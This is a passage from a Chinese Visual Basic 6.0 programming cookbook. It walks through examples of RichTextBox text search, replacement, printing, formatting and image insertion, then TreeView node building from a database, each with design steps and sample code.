查找文字描红的功能大家应该都比较熟悉，为了在众多文档中能够清晰地显示查找内容所在的位置，可将查找的内容以红色等抢眼的颜色显示，使查找内容一目了然。运行程序，在下面文本框中输入要查找的文字内容，并单击“文字查找”按钮，将在文本中将所有与查找内容匹配的文字以红色显示出来，程序的运行效果如图12.21所示。

[image: ]
图12.21　查找文字并描红



关键技术

使用RichTextBox控件的Find方法可以方便地进行文字查找。但Find方法在查找中文文字时有一个问题，第一次查找准确，查询下一个文字时始终停留在第一个查到的文字上。究其原因，Find方法参数中的start为文字的单字节字符，英文为一个单字节，汉字为两个单字节。而Find方法的返回值为字符数，汉字和英文均为一个字符（即“明日mr”的字符位置为6，字符数为4），使用StrConv将字符转换为单字节处理，即可解决问题。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个RichTextBox控件，该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择VB菜单中的“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Rich TextBox Control 6.0（SP4）复选框，单击“确定”按钮。此时，RichTextBox控件将出现在工具箱中。

（3）在窗体上添加一个命令按钮，设置Caption属性为“文字查找”。在窗体上添加一个文本框，设置Text属性为空。

（4）主要程序代码如下：



Private Sub Command1_Click()
    foundpos = RichTextBox1.Find(Text1.Text, 0, , 8)                                '查找第一个匹配
    RichTextBox1.SelStart = foundpos                                        '开始查找位置
    RichTextBox1.SelLength = Len(Text1.Text)                                '获取查找文字长度
    RichTextBox1.SelColor = &HFF&                                        '设置描红颜色
    setpos = LenB(StrConv(Left(RichTextBox1.Text, foundpos), vbFromUnicode))            '转换整个文本字符格式
    startpos = setpos + LenB(StrConv(Text1.Text, vbFromUnicode))                        '开始查找位置
    Do While foundpos <> -1
        foundpos = RichTextBox1.Find(Text1.Text, startpos, , 8)                        '查找匹配字符
        If foundpos <> -1 Then
            RichTextBox1.SelStart = foundpos                                '开始查找位置
            RichTextBox1.SelLength = Len(Text1.Text)                            '查找长度
            RichTextBox1.SelColor = &HFF&                                '设置匹配文字颜色
            setpos = LenB(StrConv(Left(RichTextBox1.Text, foundpos), vbFromUnicode))
            startpos = setpos + LenB(StrConv(Text1.Text, vbFromUnicode))
        End If
    Loop
End Sub




秘笈心法

心法领悟388：返回文本字节数。

LenB函数作用于字符串中的字节数据，如同在双字节字符集（DBCS）语言中一样。所以LenB返回的是用于代表字符串的字节数，而不是返回字符串中字符的数量。



 实例389　在RichTextBox控件中进行文本替换

光盘位置：光盘\MR\12\389

初级

趣味指数：[image: ]




实例说明

文本替换也是文本操作中经常用到的操作。本实例实现在RichTextBox控件中对文本的替换操作。运行程序后，在Text1文本框中输入richtextbox控件中需要替换的文字；在Text2文本框中输入要替换的文本，单击“替换” 按钮即可对RichTextBox控件中的文字进行替换，程序的运行效果如图12.22所示。

[image: ]
图12.22　文本替换



关键技术

本实例利用Find方法查询需要替换的文字，使用SelRTF属性替换文本。SelRTF属性返回或设置RichTextBox控件当前选择的文本（按.rtf格式）。设计时无效，语法如下：



object.SelRTF [= string]




参数说明

❶object：对象表达式，其值是RichTextBox控件。

❷string：.rtf格式的字符串表达式。


说明：
 设置SelRTF属性可用新字符串替换RichTextBox控件中任何已选定的文本。如果控件中未选定文本，则此属性返回一个零长度字符串("")。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个RichTextBox控件，该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择VB菜单中的“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Rich TextBox Control 6.0（SP4）复选框，单击“确定”按钮。此时，RichTextBox控件将出现在工具箱中。

（3）在窗体上添加一个命令按钮，设置Caption属性为“替换”。在窗体上添加一个文本框，设置Text属性为空。

（4）主要程序代码如下：



Private Sub Command1_Click()
    foundpos = RichTextBox1.Find(Text1.Text, 0, , 4)
    RichTextBox1.SelRTF = Text2.Text
    setpos = LenB(StrConv(Left(RichTextBox1.Text, foundpos), vbFromUnicode))
    startpos = setpos + LenB(StrConv(Text1.Text, vbFromUnicode))
    Do While foundpos <> -1
        foundpos = RichTextBox1.Find(Text1.Text, startpos, , 8)                        '查找
        If foundpos <> -1 Then
            RichTextBox1.SelStart = foundpos                                  '选择文字开始位置
            RichTextBox1.SelLength = Len(Text1.Text)                            '选择文字长度
            RichTextBox1.SelRTF = Text2.Text                                  '替换文字
            setpos = LenB(StrConv(Left(RichTextBox1.Text, foundpos), vbFromUnicode))        '替换文字字节数
            startpos = setpos + LenB(StrConv(Text1.Text, vbFromUnicode))                '开始查找位置
        End If
    Loop
End Sub




秘笈心法

心法领悟389：将选择文本保存到文件中。

为了将选择的文本保存到文件中，可以将SelRTF属性与Print函数一起使用，将选择的文本写入到一个RTF文件。



 实例390　提取RichTextBox控件文本到数组

光盘位置：光盘\MR\12\390

初级

趣味指数：[image: ]




实例说明

处理数据时，有时需要提取每段文字中的前若干个文字。对每段文字进行操作，如果将每段文字保存到数组中，操作就方便多了。本实例实现根据RichTextBox控件中文本的回车符进行分割，将文本提取到数组，并输出每个数组元素的前6个字符，程序的运行效果如图12.23所示。
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图12.23　将文本提取到数组

关键技术

本实例根据回车符vbCrLf，利用Split函数将文字按段落生成数组，然后使用Left函数提取文字。


说明：
 Split函数的详细讲解请参见实例051中的关键技术。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个RichTextBox控件，该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择VB菜单中的“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Rich TextBox Control 6.0（SP4）复选框，单击“确定”按钮。此时，RichTextBox控件将出现在工具箱中。

（3）在窗体上添加两个命令按钮，分别设置Caption属性为“提取”和“退出”。

（4）主要程序代码如下：



Private Sub Command1_Click()
    Dim str, mylb As String
    Dim myrows, i
    Dim myarray() As String                    '声明数组
    myarray = Split(RichTextBox1.Text, vbCrLf)       '返回数组
    myrows = UBound(myarray)                  '返回数组元素个数
    RichTextBox1.Text = ""
    For i = 0 To myrows
        myarray(i) = Left(myarray(i), 6)
        RichTextBox1.Text = RichTextBox1.Text & vbCrLf & myarray(i)
    Next i
End Sub




秘笈心法

心法领悟390：获取数组大小。

使用UBound函数能够获取数组元素最大下标值，UBound与LBound函数一起使用，用于确定一个数组的大小。使用LBound函数用于确定数组某一维的上界。



 实例391　对RichTextBox控件中的选定文本进行打印

光盘位置：光盘\MR\12\391

中级

趣味指数：[image: ]




实例说明

打印是文本输出的重要操作。本实例实现将RichTextBox控件中的选定文本进行打印。运行程序后，单击“打印”按钮，将弹出“打印”对话框，单击“确定”按钮，可对选定文本进行打印，如果未选定文本，则打印RichTextBox中的所有文本，程序的运行效果如图12.24所示。

[image: ]
图12.24　将选定文本进行打印



关键技术

利用SelPrint方法可以将RichTextBox控件中的格式化文本发送给设备进行打印。如果在RichTextBox控件中有选定的文本，则SelPrint方法仅将选定的文本发送给目标设备。如果没有选定的文本，则RichTextBox的全部内容都将发送给目标设备。

利用SelPrint方法并不打印RichTextBox控件中的文本，而是将格式化文本的一个备份发送给可以打印这个文本的设备。例如，用下列代码可将文本发送给Printer对象。



RichTextBox1.SelPrint(Printer.hDC)





注意：
 如果使用Printer对象作为来自RichTextBox控件文本的接收端，必须首先通过打印零长度字符串之类的一些东西，对Printer对象的设备描述体进行初始化。格式打印数据。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个RichTextBox控件，该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Rich TextBox Control 6.0（SP4）复选框，单击“确定”按钮。此时，RichTextBox控件将出现在工具箱中。

（3）在窗体上添加两个命令按钮，分别设置Caption属性为“打印”和“退出”。

（4）主要程序代码如下：



Private Sub Command1_Click()
    CommonDialog1.CancelError = True                            '选中取消时出错
    On Error GoTo H                                        '错误处理
    CommonDialog1.Flags = cdlPDReturnDC + cdlPDNoPageNums            '设置对话框样式返回句柄，没有页码设置
    If RichTextBox1.SelLength = 0 Then                            '如果没有选定文本
        CommonDialog1.Flags = CommonDialog1.Flags + cdlPDAllPages        '打印所有内容
    Else
        CommonDialog1.Flags = CommonDialog1.Flags + cdlPDSelection        '打印选定内容
    End If
    CommonDialog1.ShowPrinter                                '显示打印对话框
    RichTextBox1.SelPrint CommonDialog1.hDC                        '执行文本打印
H:
End Sub




秘笈心法

心法领悟391：在设计时设置滚动条。

按照默认规定，RichTextBox没有滚动条。在运行时，如果在该控件中装入了较大的文件，最终用户就不能看到文件的全部内容了。为使用户能够方便地进行滚动，可将其ScrollBars属性设置为1（水平的）、2（竖直的）或3（两个都有）。这必须在设计时完成，因为ScrollBars属性在运行时是只读的。



 实例392　设置RichTextBox控件的页边距

光盘位置：光盘\MR\12\392

初级

趣味指数：[image: ]




实例说明

熟悉Word的用户都知道，在Word文档中可以根据自己的需求设置页边距。VB中的RichTextBox控件同样可以实现对文本页码页边距进行设置的功能。运行本程序，在下面的文本框中输入要设置的页边距，单击“设置页边距”按钮，将会对窗体上的文本设置页边距，程序的运行效果如图12.25所示。

[image: ]
图12.25　为文本页面设置页边距



关键技术

利用SelHangingIndent、SelIndent、SelRightIndent属性返回或设置RichTextBox控件中段落的页边距设置值，不包括在当前插入点添加的文字，在设计时无效。

（1）SelIndent属性

该属性指定了RichTextBox控件的左边缘和选定或添加的文本的左边缘之间的距离。

（2）SelRightIndent属性

该属性指定了RichTextBox控件的右边缘和选定或添加的文本的右边缘之间的距离。

（3）SelHangingIndent属性

该属性指定了选定段落（例如，SelIndent属性所指定的）中文本首行左边缘与本段下面各行左边缘之间的距离。

如果其选定跨越了具有不同页边距设置值的多个段落时，这些属性将返回0。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个RichTextBox控件，该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Rich TextBox Control 6.0（SP4）复选框，单击“确定”按钮。此时，RichTextBox控件将出现在工具箱中。

（3）在窗体上添加两个命令按钮，分别设置Caption属性为“设置页边距”和“退出”。添加一个文本框，设置Text属性为空，用于输入设置的页边距。

（4）主要程序代码如下：



Private Sub Command1_Click()
    Dim Margins As Integer
    Margins = CInt(Text1.Text)                                    '边距为整型数值
    With RichTextBox1
        .SelStart = 1                                        '选定文本开始位置
        .SelLength = Len(RichTextBox1.Text)                            '选定文本长度
        .SelIndent = Margins                                    '左边距
        .SelRightIndent = Margins                                '右边距
    End With
End Sub




秘笈心法

心法领悟392：使文本自动换行。

设置RightMargin属性，可以让文本到一定行距后自动换行。RightMargin属性为文本的自动换行、居中和缩进设置右极限。段落居中是基于RichTextBox控件的文本部分（不包括边框）的最左边和RightMargin属性。



 实例393　高亮度显示一整行

光盘位置：光盘\MR\12\393

中级

趣味指数：[image: ]




实例说明

本实例实现高亮度显示RichTextBox控件中的一行文本。运行程序，使用鼠标单击RichTextBox控件中的文本，光标所在的一段代码将被选中，并以高亮度显示，程序的运行效果如图12.26所示。

[image: ]
图12.26　高亮度显示一整行



关键技术

本实例利用Mid函数和换行符chr(10)获取光标所在行的首字符和尾字符的位置，然后通过SelStart、SelLength和SelColor高亮显示一行数据。所以本实例中所说的一整行其实是文本中的一个段。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个RichTextBox控件，该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Rich TextBox Control 6.0（SP4）复选框，单击“确定”按钮。此时，RichTextBox控件将出现在工具箱中。

（3）主要程序代码如下：



Private Sub RichTextBox1_Click()
    Dim i, j As Integer
    On Error GoTo H
    For i = RichTextBox1.SelStart To 1 Step -1
        If Mid(RichTextBox1.Text, i, 1) = Chr(10) Then Exit For
    Next
    For j = RichTextBox1.SelStart To Len(RichTextBox1.Text) Step 1
        If Mid(RichTextBox1.Text, j, 1) = Chr(10) Then Exit For
    Next
    RichTextBox1.SelStart = 0
    RichTextBox1.SelLength = Len(RichTextBox1.Text)
    RichTextBox1.SelColor = &H0&
    RichTextBox1.SelStart = i
    RichTextBox1.SelLength = j - i
    RichTextBox1.SelColor = &HFF&
H:
End Sub




秘笈心法

心法领悟393：删除RichTextBox控件中的指定文本。

利用RichTextBox控件的Find方法和SelRTF属性，可以删除RichText控件中的部分文本，只需将SelRTF属性设置为空字符串即可。即用空字符代替要删除的字符，达到删除的效果。



 实例394　获取文本行号

光盘位置：光盘\MR\12\394

中级

趣味指数：[image: ]




实例说明

本实例实现获取RichTextBox控件指定文本的行号。运行程序，在文本框中输入要查找行号的文本内容，单击“查询”按钮，弹出提示对话框，显示要查找内容所在行号，这里行号是从0开始的，程序的运行效果如图12.27所示。

[image: ]
图12.27　获取文本行号



关键技术

使用GetLineFromChar方法可以返回RichTextBox控件中含有指定字符位置的行的行号，语法如下：



object.GetLineFromChar(charpos)




参数说明

❶object：必选参数。对象表达式，其值是RichTextBox控件。

❷charpos：必选参数。一个长整数，用以指定字符的索引，该字符所在行是要标识的。在RichTextBox控件中，第一个字符的索引是0。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个RichTextBox控件，该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Rich TextBox Control 6.0（SP4）复选框，单击“确定”按钮。此时，RichTextBox控件将出现在工具箱中。

（3）在窗体上添加两个命令按钮，分别设置Caption属性为“查询”和“退出”。添加一个文本框，设置Text属性为空，用于输入查询的字符。

（4）主要程序代码如下：



Private Sub Command1_Click()
    Dim FoundPos As Integer
    Dim FoundLine As Integer
    '寻找 TextBox 控件中指定的文本
    RichTextBox1.SelStart = 1
    FoundPos = RichTextBox1.Find(Text1.Text, , , 8)
    If FoundPos <> -1 Then
        '返回含有所找到文本行的行号
        FoundLine = RichTextBox1.GetLineFromChar(FoundPos)
        MsgBox Text1 & "该文本所在位置" & CStr(FoundLine)
    Else
        MsgBox "未找到"
    End If
End Sub




秘笈心法

心法领悟394：使用GetLineFromChar方法。

使用GetLineFromChar方法，用来在RichTextBox控件文本中寻找一行，它含有文本中的某个字符位置。需用这种方法的原因是文本中每行字符的数目可能变化，致使要找出文本中哪一行包含着由其文本中位置所标识的某个特定的字符就非常困难。



 实例395　利用RichTextBox控件实现文档管理功能

光盘位置：光盘\MR\12\395

中级

趣味指数：[image: ]




实例说明

在VB中可以使用RichTextBox控件制作自己的文档编辑器，实现文档管理功能。RichTextBox控件可以通过设置自己的方法和属性实现文档的编辑功能。运行程序，新建或打开一篇文档即可对其进行编辑操作，如图12.28所示。

[image: ]
图12.28　文档管理器



关键技术

本实例的实现主要应用到下面的关键技术。

（1）用LoadFile和SaveFile方法打开和保存文件。利用LoadFile和SaveFile方法可以方便地为RichTextBox控件打开或保存RTP文件。要打开文件可以使用CommonDialog控件提供路径名。其中，使用到LoadFile方法的关键代码如下：



ActiveForm.rtfText.LoadFile sFile




应用SaveFile方法保存文件，其实现的关键代码如下：



ActiveForm.rtfText.SaveFile sFile




（2）用SelFontName、SelFontSize和SelFontColor设置字体属性。要改变RichTextBox控件中的字体特性，可以使用SelFontName、SelFontSize和SelFontColor属性。这些属性只影响选中的文本，如果没有选中文本，则影响当前光标位置之后输入的文本。

（3）使用剪贴板复制和粘贴文本。两个最有用的Clipboard方法是SelText和GetText。用这两个方法向剪贴板和Clipboard传送字符数据。

（4）使用SelPrint方法打印RichTextBox控件中的内容。要打印RichTextBox控件，可以使用SelPrint方法。该方法需要一个参数，即用来打印RichTextBox控件内容的Printer对象的hDC属性。如果用户选中了某些文本，则只打印选中的文本。如果没有选中任何文本，则打印该控件的所有内容。

设计过程

（1）新建一个标准工程，创建一个新窗体，设置“名称”属性为frmDocument。

（2）在frmDocument窗体上添加一个RichTextBox控件，设置“名称”属性为rtfText。该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Rich TextBox Control 6.0（SP4）复选框，单击“确定”按钮。此时，RichTextBox控件将出现在工具箱中。

（3）选择“工程”/“添加MDI窗体”命令，创建一个MDI窗体，设置“名称”属性为frmMain，Caption属性为“利用RichTextBox控件实现文档管理功能”。

（4）选择“工具”/“菜单编辑器”命令，进入“菜单编辑器”窗口，在此窗口中设置程序菜单，如图12.29所示。

[image: ]
图12.29　本实例中用到的菜单



（5）在frmMain窗体上添加一个ImageList控件，设置“名称”属性为imlToolbarIcons。ImageList控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Windows Common Control 6.0（SP6）复选框，单击“确定”按钮。此时，几个新的控件将出现在工具箱中，其中一个就是ImageList控件。

（6）使用鼠标右键单击添加到窗体上的imlToolBarIcons控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。在“通用”选项卡中选中16×16单选按钮；切换到“图像”选项卡，单击“插入图片”按钮，选择要添加的图片，单击“打开”按钮，添加的图片将显示在“图像”列表框中，用相同的方法添加其他的图片；选择“图像”列表框中的任一图片，可以看到在窗体上面的“索引”列表框中此图片相对应的索引值。

（7）添加一个ToolBar控件，设置“名称”属性为tbToolBar。使用鼠标右键单击tbToolBar控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。选择“通用”选项卡，在“图像列表”下拉列表框中选择imlToolbarIcons选项；切换到“按钮”选项卡，单击“插入按钮”按钮，在“关键字”和“工具提示文本”文本框中设置按钮的关键字和提示文本，在“图像”文本框中输入此按钮所对应的图像的索引值。

（8）参考步骤（7）依次在“按钮”选项卡中添加其他的功能按钮，单击“应用”和“确定”按钮。

（9）在frmMain窗体上添加一个CommonDialog控件和一个StatusBar控件，设置“名称”属性分别为dlgCommonDialog和sbStatusBar。这两个控件都属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Common Dialog Control 6.0（SP3）和Microsoft Windows Common Control 6.0（SP6）复选框，单击“确定”按钮。此时，几个新的控件将出现在工具箱中，其中包括CommonDialog控件和StatusBar控件。

（10）使用鼠标右键单击添加到窗体上的sbStatusBar控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。选择“窗格”选项卡，在“文本”文本框中输入“状态”；两次单击“插入窗格”按钮，插入两个新的窗格；在“自动调整大小”下拉列表中选择1-sbrSpring。

（11）主要程序代码如下：



Private Sub mnuFileSave_Click()  '保存
    Dim sFile As String
    If Left$(ActiveForm.Caption, 8) = "Document" Then
        With dlgCommonDialog
            .DialogTitle = "保存"
            .CancelError = False
            '设置CommonDialog控件的标志和属性
            .Filter = "所有文件 (*.*)|*.*|RTF格式 (*.rtf)|*.rtf|文本文件 (*.txt)|*.txt"
            .ShowSave
            If Len(.FileName) = 0 Then
                Exit Sub
            End If
            sFile = .FileName
        End With
        ActiveForm.rtfText.SaveFile sFile
    Else
        sFile = ActiveForm.Caption
        ActiveForm.rtfText.SaveFile sFile
    End If
 
End Sub
Private Sub mnuFileOpen_Click()  '打开
    Dim sFile As String
    If ActiveForm Is Nothing Then LoadNewDoc
    With dlgCommonDialog
        .DialogTitle = "打开"
        .CancelError = False
        '设置CommonDialog 控件的标志和属性
        .Filter = "所有文件 (*.*)|*.*|RTF格式 (*.rtf)|*.rtf|文本文件 (*.txt)|*.txt"
        .ShowOpen
        If Len(.FileName) = 0 Then
            Exit Sub
        End If
        sFile = .FileName
    End With
    ActiveForm.rtfText.LoadFile sFile
    ActiveForm.Caption = sFile
 
End Sub




秘笈心法

心法领悟395：设置光标位置。

通过设置SelStart属性可以设置文本框中光标所在位置。同样使用此属性值也可以获取当前光标所在的位置。



 实例396　用RichTextBox控件显示图文数据

光盘位置：光盘\MR\12\396

中级

趣味指数：[image: ]




实例说明

图文并茂的文本更能生动地对一个事物进行描述，所以在对文本进行编辑时要求加入图片，本实例实现在程序文本框中插入文本内容和图片内容。运行程序后，单击“打开文本文件”按钮，插入一段文本，然后单击“插入图片”按钮，在文本的指定位置插入图片，程序的运行效果如图12.30所示。

[image: ]
图12.30　获取图文数据



关键技术

本实例使用Open方法读取指定位置的文件内容到一个变量，使用此变量给RichTextBox控件的Text属性赋值，并设置其文本内容。然后使用RichTextBox控件OLEObject对象的Add方法向文本中插入一幅指定的图片。OLEObject对象代表RichTextBox控件中一个可插入的对象。

将RichTextBox控件中的每个嵌入的OLEObject对象计为一个字符。就是说，从控件开头起计数，OLEObject对象仅占一个字符位。OLE对象可被突出显示、剪切或复制，但不支持任何Selxxx属性（如SelBold、SelItalic等）。

每个OLEObject对象都支持包含“打开”和“编辑”以及标准的“剪切”、“复制”、“粘贴”和“删除”命令的一个上下文菜单。“打开”可在其自己的窗口中打开对象的应用程序，以便编辑此对象。如果对象支持现场激活，则可用“编辑”使该对象现场激活。


说明：
 运行时可使用Add方法，或是将一个对象从Windows“资源管理器”中拖动到RichTextBox控件中，可以手动地向OLEObjects集合添加OLEObject对象。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个RichTextBox控件，该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Rich TextBox Control 6.0（SP4）复选框，单击“确定”按钮。此时，RichTextBox控件将出现在工具箱中。

（3）添加一个Frame控件。

（4）在Frame1控件上添加3个CommandButton控件，设置其Caption属性分别为“打开文本文件”、“插入图片”和“退出”。

（5）添加两个CommonDialog控件，设置“名称”属性为Common1和Common2。该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Common Dialog Control 6.0（SP3）复选框，单击“确定”按钮。此时，CommonDialog控件将出现在工具箱中。

（6）主要程序代码如下：



Private Sub Command1_Click()  '打开文本文件
    Common1.Filter = "文本文件（*.txt）|*.txt|rtf文件（*.rtf）|*.rtf"
    Common1.ShowOpen
    If Common1.FileName = "" Then
        Rich1.Text = ""
        'Exit Sub
    Else
        Rich1.Text = ""
        Strs = ""
        Open (Common1.FileName) For Input As #1
        Do While Not EOF(1)
            Line Input #1, Intext
            Strs = Strs + Intext
        Loop
        Close #1
        Rich1.Text = Strs
        Common1.FileName = ""
    End If
End Sub
 
Private Sub Command3_Click()  '插入图片
    Common1.Filter = "bmp文件（*.bmp）|*.bmp|jpg 文件（*.jpg）|*.jpg|ico 文件（*.ico）|*.ico"
    Common1.ShowOpen
    If Common1.FileName = "" Then
        Exit Sub
    Else
        Rich1.OLEObjects.Add , , Common1.FileName, ""     '向控件中插入所选取的图片
    End If
End Sub




秘笈心法

心法领悟396：拖放对象到RichTextBox控件中。

在设计或运行时，可以拖放任何嵌入对象到控件中，包括文档，例如，Microsoft Excel的电子表格和Microsoft Word文档等。



 实例397　创建彩虹文字

光盘位置：光盘\MR\12\397

中级

趣味指数：[image: ]




实例说明

大家在上网时，可能会注意到在某些网页中出现的文字为彩虹颜色（文字颜色渐变），使得页面看起来非常漂亮。其实，在VB 6.0中也可以实现同样的效果，程序的运行效果如图12.31所示。

关键技术

彩虹文字的效果主要是通过调用GetIColor自定义函数实现的，它具有3个形式参数，分别用于指定初始文字颜色、字符位置和字符串的长度。

[image: ]
图12.31　彩虹文字



过程的设计思路为：根据字符在字符串中所在的位置来指定文字颜色。在过程内部根据字符的所在位置将颜色分为了6大色系，并在每一个色系中对颜色进行微调。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个RichTextBox控件，该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择VB菜单中的“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Rich TextBox Control 6.0（SP4）复选框，单击“确定”按钮。此时，RichTextBox控件将出现在工具箱中。

（3）主要程序代码如下：



Private Function GetIColor(iColor As Long, ByVal i As Long, ByVal j As Long) As Long
    Dim per As Single
    If j Mod 6 <> 0 Then j = (j \ 6) * 6
    i = iColor + i
    i = i Mod j
    per = CLng(&HFF) * 6 / j
    Select Case i
    Case 0 To j / 6: GetIColor = RGB(255, per * i, 0)
    Case j / 6 To j / 3: GetIColor = RGB(255 - per * (i - j / 6), 255, 0)
    Case j / 3 To j / 2: GetIColor = RGB(0, 255, per * (i - j / 3))
    Case j / 2 To 2 * j / 3: GetIColor = RGB(0, 255 - per * (i - j / 2), 255)
    Case 2 * j / 3 To 5 * j / 6: GetIColor = RGB(per * (i - 2 * j / 3), 0, 255)
    Case 5 * j / 6 To j: GetIColor = RGB(255, 0, 255 - per * (i - 5 * j / 6))
    End Select
End Function




秘笈心法

心法领悟397：Keys方法小知识。

返回一个数组，该数组包含一个Dictionary对象中的全部已有的关键字，语法如下：



object.Keys




参数说明

object：始终是一个Dictionary对象的名字。

下面的代码举例说明了Keys方法的使用。



Dim a, d, i             '创建一些变量
Set d = CreateObject("Scripting.Dictionary")d.Add "





 12.5　TreeView控件应用



 实例398　树状显示吉林省各市县名称

光盘位置：光盘\MR\12\398

中级

趣味指数：[image: ]




实例说明

使用TreeView控件可以显示数据之间的层次关系。本实例实现显示吉林省各个市的名称。运行程序后，显示吉林省节点，展开节点可以看到吉林省各市的名称，程序的运行效果如图12.32所示。

[image: ]
图12.32　树状显示吉林省各市县



关键技术

TreeView控件显示Node对象的分层列表，每个Node对象均由一个标签和一个可选的位图组成。TreeView一般用于显示文档标题、索引入口、磁盘上的文件和目录或能被有效地分层显示的其他种类信息。

在本实例中主要应用到Add方法向TreeView控件的Nodes集合中添加一个Node对象，语法如下：



object.Add(relative, relationship, key, text, image, selectedimage)




参数说明如表12.8所示。

表12.8　Node对象的Add方法的参数说明



	参数
	说明



	object
	必选参数。对象表达式



	relative
	可选参数。已存在的Node对象的索引号或键值。新节点与已存在的节点间的关系，可在下一个参数relationship中找到



	relationship
	可选参数。指定的Node对象的相对位置



	key
	可选参数。唯一的字符串，可用于用Item方法检索Node



	text
	必选参数。在Node中出现的字符串



	image
	可选参数。在关联的ImageList控件中的图像的索引



	selectedimage
	可选参数。在关联的ImageList控件中的图像的索引，在Node被选中时显示




relationship参数的设置值如表12.9所示。

表12.9　relationship参数的设置值



	常数
	值
	说明



	tvwFirst
	0
	首节点。该Node和在relative中被命名的节点位于同一层，并位于所有同层节点之前



	tvwLast
	1
	最后的节点。该Node和在relative中被命名的节点位于同一层，并位于所有同层节点之后。任何连续地添加的节点可能位于最后添加的节点之后



	tvwNext
	2
	（默认）下一个节点。该Node位于在relative中被命名的节点之后



	tvwPrevious
	3
	前一个节点。该Node位于在relative中被命名的节点之前



	tvwChild
	4
	（默认）子节点。该Node成为在relative中被命名的节点的子节点





注意：
 可以使用标准的集合方法（如Add和Remove方法）操作Node对象。可以按其索引或存储在Key属性中的唯一键来访问集合中的每个元素，格式打印数据。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个TreeView控件、一个ImageList控件和一个ADO控件。这3个控件都属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Windows Common Control 6.0（SP6）和Microsoft ADO Data Control 6.0（SP4）（OLEDB）复选框，单击“确定”按钮。此时，几个新的控件将出现在工具箱中。

（3）使用鼠标右键单击添加到窗体上的ImageList控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。在“通用”选项卡中选中16×16单选按钮；切换到“图像”选项卡，单击“插入图片”按钮，选择要添加的图片，然后单击“打开”按钮，添加的图片将显示在“图像”列表框中。

（4）使用鼠标右键单击添加到窗体上的TreeView控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。在“通用”选项卡中的“图像列表”下拉列表框中选择ImageList1选项，为节点添加图像。

（5）主要程序代码如下：



Public Sub Tree_change()
    Dim key, Text, BH, StrTemp As String
    Dim Nod As Node '定义一个节点变量
    key = "吉林省"
    Text = "吉林省"
    Set Node1 = TreeView1.Nodes.Add(, , key, Text, 1)
    rs1.Open "select csxx_csmc,csxx_csjc from 行政区 where csxx_csjc='吉'order by csxx_csjc", cnn, adOpenKeyset, adLockPessimistic
    If rs1.RecordCount > 0 Then
        rs1.MoveFirst
        Do While rs1.EOF = False    '循环读取第1层节点中的数据信息
            key = Trim(rs1.Fields("csxx_csmc"))
            Text = rs1.Fields("csxx_csmc")
            StrTemp = rs1.Fields("csxx_csmc")
            Set Node2 = TreeView1.Nodes.Add(Node1.Index, tvwChild, key, Text, 2)   '给第1层节点赋予数值
            rs1.MoveNext
        Loop
    End If
    rs1.Close
End Sub




秘笈心法

心法领悟398：为TreeView节点设置图标。

本实例使用了ImageList控件为TreeView节点设置图标。程序设计时要先在窗体上添加一个ImageList控件，并为其添加图标。然后将TreeView控件的图像列表指定为刚设置的ImageList控件。在代码设计设置图标参数时，直接指定ImageList控件中对应的图标的索引值即可。



 实例399　设置TreeView控件的背景色

光盘位置：光盘\MR\12\399

中级

趣味指数：[image: ]




实例说明

为TreeView控件设置背景色可使程序更加美观。本实例实现为TreeView设置背景色。运行程序后，窗体上的TreeView控件背景颜色显示为设置的颜色，程序的运行效果如图12.33所示。

[image: ]
图12.33　设置TreeView控件背景色



关键技术

